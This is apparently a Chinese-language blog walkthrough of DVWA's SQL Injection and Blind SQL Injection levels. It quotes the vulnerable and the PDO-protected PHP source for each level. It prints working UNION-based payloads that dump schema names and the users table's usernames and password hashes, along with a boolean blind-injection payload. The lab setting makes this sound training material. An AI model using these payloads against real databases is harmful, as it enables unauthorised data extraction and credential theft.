DVWA攻略-03-SQL显错or 盲注
文章目录
- 6.SQL Injection
- 6.1、low
- 6.2、medium-mysqli_real_escape_string
- 6.3、high
- 6.4、impossiable
- 7.SQL Injection(Blind)
- 7.1、low
- 7.2、medium
- 7.3、high
- 7.4、impossiable
6.SQL Injection
参考链接:DVWA SQL Injection 通关教程
6.1、low
$_REQUEST请求方式,单引号闭合,且无过滤,因此可以直接进行union注入。、
可见列名为2.
爆数据库名称与用户名称
-1' union select database(),user() #
爆数据库中的表名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
爆指定表中的列名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='guestbook‘ #
获取字段的值
-1' union select group_concat(user),group_concat(password) from users #
6.2、medium-mysqli_real_escape_string
语法:mysqli_real_escape_string(connection,escapestring);
参数 | 描述 |
---|---|
connection | 必需。规定要使用的 MySQL 连接。 |
escapestring | 必需。要转义的字符串。编码的字符是 NUL(ASCII 0)、\n、\r、\、’、" 和 Control-Z。 |
POST请求方式,字符型闭合,还添加了一个过滤的字符函数mysqli_real_escape_string()。
6.3、high
请求方式为$_ SESSION,单引号闭合,无过滤。
可以看到,与Low Secuity Level的代码相比,Medium Secuity Level的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。
1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
6.4、impossiable
采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了”脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。
<?php
/*Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,*/
if( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );print_r($db);$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch();// Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {// Get values$first = $row[ 'first_name' ];$last = $row[ 'last_name' ];// Feedback for end user$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}
}// Generate Anti-CSRF token
generateSessionToken();?>
7.SQL Injection(Blind)
参考文献:DVWA SQL Injection(Blind) 通关教程
作者:御用闲人
7.1、low
<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Get input$id = $_GET[ 'id' ];// Check database$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end user$html .= '<pre>User ID exists in the database.</pre>';}else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end user$html .= '<pre>User ID is MISSING from the database.</pre>';}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
由源码可见,与上面的显错注入源码类似,均没有进行参数过滤,且闭合方式也为单引号闭合;但是在这里并不会输出数据库的数据与数据库的报错提示,只会显示输入的id是否在数据库中。如下图。
在这里我们可以利用布尔注入逐个猜解数据库名的每个字母。例如:
1' and ascii(substr(database(),1,1))>97#
7.2、medium
利用mysqli_real_escape_string函数对特殊符号\x00,\n,\r,,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
闭合方式为数字型。
7.3、high
利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
<?phpif( isset( $_COOKIE[ 'id' ] ) ) {// Get input$id = $_COOKIE[ 'id' ];// Check database$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end user$html .= '<pre>User ID exists in the database.</pre>';}else {// Might sleep a random amountif( rand( 0, 5 ) == 3 ) {sleep( rand( 2, 4 ) );}// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end user$html .= '<pre>User ID is MISSING from the database.</pre>';}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
7.4、impossiable
采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。
<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();// Get resultsif( $data->rowCount() == 1 ) {// Feedback for end user$html .= '<pre>User ID exists in the database.</pre>';}else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end user$html .= '<pre>User ID is MISSING from the database.</pre>';}}
}// Generate Anti-CSRF token
generateSessionToken();?>
DVWA攻略-03-SQL显错or 盲注相关推荐
- PyInstaller天坑终极攻略(PyInstaller莫名报错?面对错误信息无从下手?全网找不到解决方法?面对PyInstaller中的那些莫名天坑不如和我一起手动打包python解释器和项目)
PyInstaller天坑终极攻略 PyInstaller莫名报错?面对错误信息无从下手?翻遍全网找不到解决方法?面对PyInstaller中的那些莫名天坑不如和我一起手动打包python解释器和项目 ...
- sql显错注入靶机演示
sql注入漏洞作为web层面最高危的漏洞之一,本文将手动演示sql显错注入的整体流程 注:禁止用于实战 那么开始正文部分,首先打开我们的靶场猫舍 http://cntj8003.ia.aqlab.cn ...
- SQL注入--报错和盲注
目录 报错注入 floor函数报错注入 extractvalue()函数报错注入 updatexml()函数报错注入 盲注 布尔盲注 时间盲注 报错注入 文章内容篇幅较长,请认真研读 回顾之前的文章( ...
- sql注入学习——布尔盲注
前言:之前通过前九关学习到了回显注入.报错注入等一些方法,这次就来详细的学习布尔盲注. 首先来了解一下盲注的概念 盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL ...
- SQL注入学习——Bool盲注详解 sqli-labs(Less 8)
文章目录 前言: 一.Bool盲注常用的函数: 二.Less8 布尔型单引号GET盲注 1.查数据库版本 2.猜解数据库的长度 3.猜数据库名字 4.猜解表名 5.猜解字段名 6.猜解数据 三.脚本注 ...
- 05_SQL注入_功能语句报错注入盲注
05_SQL注入_功能语句&报错回显&盲注 1. SQL 语句和网站功能 1.1 Web开发中常见语句 [本章代码来源于pikachu和sqli-lab中的靶场] 开发中,根据不同的需 ...
- mysql注入 无回显_33. 注入信息无回显?(给盲注戴上眼镜)
注入信息无回显?(给盲注戴上眼镜) 工具简介: 平常的漏洞检测或漏洞利用需要进一步的用户或系统交互.但是一些漏洞类型没有直接表明攻击是成功的.如Payload触发了却不在前端页面显示.(像ssrf,X ...
- DVWA通过攻略之SQL注入
目录 1.SQL Injection SQL注入 2.实验演示 2.1.low 2.3.high 2.4.impossible 3.sqlmap自动化注入 3.1.low 3.2.medium 3.3 ...
- SQL Server 2005 Express 远程连接 客户端 远程访问 设置 全攻略 (适用 SQL Server 2005 其他版本)
SQL Server 2005 Express 是微软提供的数据库的低端解决方案, 可免费任意随产品分发, 可以在XP等非专业服务器系统下安装, 还可以远程访问, 对于小型数据应用程序已足够满足数据使 ...
最新文章
- 【系统平台】模拟器-通道-模型-图形配置
- mysql查询活跃连接,mysql – 使用大量可能的连接进行查询的最佳方法
- android多渠道 依赖,android 不同渠道 添加不同依赖jar 使用不同代码
- BackTrack5 安装中文输入法
- 【kubernetes系列】Pod篇实战操作
- 吃的苦中苦,方为人上人!
- 一道常被人轻视的前端JS面试题
- 百度区块链 xuperchain 节点端 tps统计脚本
- C++/ python 计算硬币正面朝上的概率
- 【数字信号调制】基于matlab GUI数字信号调制仿真平台【含Matlab源码 880期】
- 计算机无法安装应用,电脑没法安装软件?教您解决电脑没法安装软件
- CorelDRAW X7 X8 2017 2018是什么关系?
- html5朋友圈评论代码,微信朋友圈评论隐藏文字,超级好玩
- 自定义数据类型的指针的含义
- OverFeat 个人总结
- 七夕送女友什么礼物有意义、送女朋友实用的七夕礼物清单
- 【C语言经典100题】乒乓球队的比赛
- Android设备刷Device-owner说明
- 学习周报20200216 | 学习计划安排整理
- word 如何将页面设置为50行(任意行)
热门文章
- 皮得.林奇 成功投资
- Java 延时实现(订单超时等)
- 常用Linux Shell命令
- Objective-C 编程艺术 (Zen and the Art of the Objective-C Craftsmanship 中文翻译)
- 最小生成树——Highways(普利姆算法结合对于父亲节点标记)
- 终于有人把辛普森悖论讲明白了
- 荣获创新奖,人大金仓携多款硬核产品亮相CITE2022
- 用Python大声说出“我爱你”
- BUUCTF【Web】Knife
- Python:实现factorial阶乘算法(附完整源码)